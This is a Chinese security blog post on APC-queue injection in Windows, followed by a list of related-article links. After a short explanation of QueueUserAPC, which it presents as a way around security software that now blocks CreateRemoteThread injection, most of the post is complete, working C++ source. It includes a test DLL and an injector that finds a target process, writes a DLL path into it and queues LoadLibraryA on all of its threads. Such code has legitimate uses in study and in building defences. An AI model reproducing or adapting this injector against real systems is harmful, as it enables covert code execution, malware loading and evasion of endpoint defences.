安全之路 —— 利用APC队列实现跨进程注入
2023-09-11 14:14:04 时间
简介
在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式,被称作**“APC注入”。APC(Asynchronous Procedure Call),全称为异步过程调用**,指的是函数在特定线程中被异步执行。简单地说,在Windows操作系统中,每一个进程的每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态才会执行,也就是说,只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。
代码样例
- DLL程序代码
////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
////////////////////////////////
#include <iostream>
#include <Windows.h>
using namespace std;
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
- 注入程序代码
////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
////////////////////////////////
#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapProcess == NULL)
{
printf("[*] Create Process Snap Error!\n");
return FALSE;
}
PROCESSENTRY32 pe32 = { 0 };
RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
BOOL bRet = Process32First(hSnapProcess, &pe32);
while (bRet)
{
if (_stricmp(pe32.szExeFile, szProcessName) == 0)
{
dwPid = pe32.th32ProcessID;
return TRUE;
}
bRet = Process32Next(hSnapProcess, &pe32);
}
return FALSE;
}
// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
printf("[*] Create Thread Id Space Error!\n");
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 te32 = { 0 };
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnapshot == NULL)
{
printf("[*] Create Thread Snap Error!\n");
return FALSE;
}
BOOL bRet = Thread32First(hThreadSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwPid)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnapshot, &te32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
// 主函数
int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("[*] Format Error! \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
return 0;
}
LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlZeroMemory(szExeName, 100);
RtlZeroMemory(szDllPath, 100);
StringCchCopy(szExeName, 100, argv[1]);
StringCchCopy(szDllPath, 100, argv[2]);
DWORD dwPid = 0;
BOOL bRet = GetProcessIdByName(szExeName, dwPid);
if (!bRet)
{
printf("[*] Get Process Id Error!\n");
return 0;
}
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
if (!bRet)
{
printf("[*] Get All Thread Id Error!\n");
return 0;
}
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("[*] Open Process Error!\n");
return 0;
}
DWORD dwDllPathLen = strlen(szDllPath) + 1;
// 申请目标进程空间,用于存储DLL路径
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
printf("[*] VirtualAllocEx Error!\n");
return 0;
}
SIZE_T dwWriten = 0;
// 把DLL路径字符串写入目标进程
WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
if (dwWriten != dwDllPathLen)
{
printf("[*] Write Process Memory Error!\n");
return 0;
}
LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL)
{
printf("[*] Get Func Address Error!\n");
return 0;
}
HANDLE hThread = NULL;
// 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
}
// DLL路径分割,方便输出
LPCSTR szPathSign = "\\";
LPSTR p = NULL;
LPSTR next_token = NULL;
p = strtok_s(szDllPath, szPathSign, &next_token);
while (p)
{
StringCchCopy(szDllPath, 100, p);
p = strtok_s(NULL, szPathSign, &next_token);
}
printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);
if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadIdList)
{
VirtualFree(pThreadIdList, 0, MEM_RELEASE);
pThreadIdList = NULL;
}
VirtualFree(szDllPath, 0, MEM_RELEASE);
VirtualFree(szExeName, 0, MEM_RELEASE);
ExitProcess(0);
return 0;
}
运行截图
参考资料
- 《Windows黑客编程技术详解》【甘迪文 著】
相关文章
- 代码审计-phpok框架5.3注入漏洞
- 在Apache Struts中利用OGNL注入
- .netcore获取已注入的服务
- springboot自定义类@Resource注入为null的问题
- 软件测试的特殊字符问题,alert(1),特殊字符转译的问题,script标签注入的问题!!!
- springboot 定时任务注入线程池
- 如何将自定义XML视图注入SAP Fiori Elements应用
- SAP Spartacus app module注入config module的过程
- Angular依赖注入机制的一个错误消息:Error Cannot instantiate cyclic dependency!
- Atitit sql注入的防范 目录 1.1. 检查数据类型 1 2. 有限操作DML 1 2.1. 限制执行函数黑名单机制 2 2.2. 限制执行系统sp 2 2.3. 限制数据查询语句类型,只能
- zone.js在bootstrap阶段对window对象里一些标准方法的注入逻辑
- 【Android 逆向】Android 进程注入工具开发 ( 远程进程注入动态库文件操作 | 注入动态库 加载 业务动态库 | 业务动态库启动 | pthread_create 线程开发 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 注入工具收尾操作 | 关闭注入的动态库 | 恢复寄存器 | 脱离远程调试附着 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 二 | 准备参数 | 远程调用 mmap 函数 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 注入工具的 main 函数分析 )
- 【Android 逆向】Android 进程代码注入原理 ( 注入本质 | 静态注入和动态注入 | 静态注入两种方式 | 修改动态库重打包 | 修改 /data/app/xx/libs 动态库 )
- 什么是依赖注入
- 进程注入检测 —— RtlCaptureStackBackTrace 获取当前函数的调用栈函数
- 能逃避机器学习检测的 Cerber 勒索变种——17年的文章,本质上还是无文件攻击,只是利用进程注入方式而已
- metasploit进程注入 sysmon事件采集示例
- 进程注入分析实战——通过process explorer可以看到lab12-01.dll在运行时加载了, 要查看dll被哪个进程所使用,可以在process explorer里搜索!
- Spring Boot Bean和依赖注入
- Spring依赖注入(一):字段注入的方式是如何工作的?
- 【spring】注入bean的8种方式
- OpenSSH 命令注入漏洞(CVE-2020-15778)
- SQL注入渗透与攻防(十)之加解密注入和堆叠注入